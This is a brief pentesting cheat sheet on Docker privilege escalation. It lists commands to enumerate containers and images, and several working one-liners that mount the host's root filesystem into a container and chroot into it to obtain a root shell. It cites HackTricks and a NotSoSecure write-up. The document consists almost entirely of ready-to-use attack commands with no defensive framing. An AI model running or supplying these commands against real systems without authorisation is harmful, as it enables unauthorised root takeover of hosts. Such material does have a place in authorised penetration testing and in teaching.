# Docker privilege escalation

**\[1]List active processes**\
\
`docker ps -a`\
\
\&#xNAN;**\[2]List docker images**\
\
`docker images`\\

**\[3]Easy privesc**\\

c723nbsdf (this is the IMAGE ID of the docker pod)\
\
`docker run -v /:/mnt/r3dcl1ff -ti c723nbsdf /bin/sh`\
\
\
\&#xNAN;**\[4] Privesc with docker bash ID**\
\
a)docker images\\

If you find a container running bash you can mount your own user\
Example: use the docker IMAGE ID for bash 0980cb958276\
\
b) `docker run -v /:/mnt/r3dcl1ff -ti 0980cb958276`\
\
change directory into r3dcl1ff and gain root access\
\
\
\
\&#xNAN;**\[5]One liner to gain root**\
<https://book.hacktricks.xyz/pentesting/2375-pentesting-docker>\
\
`docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash`

[`https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/`](https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/)

\\
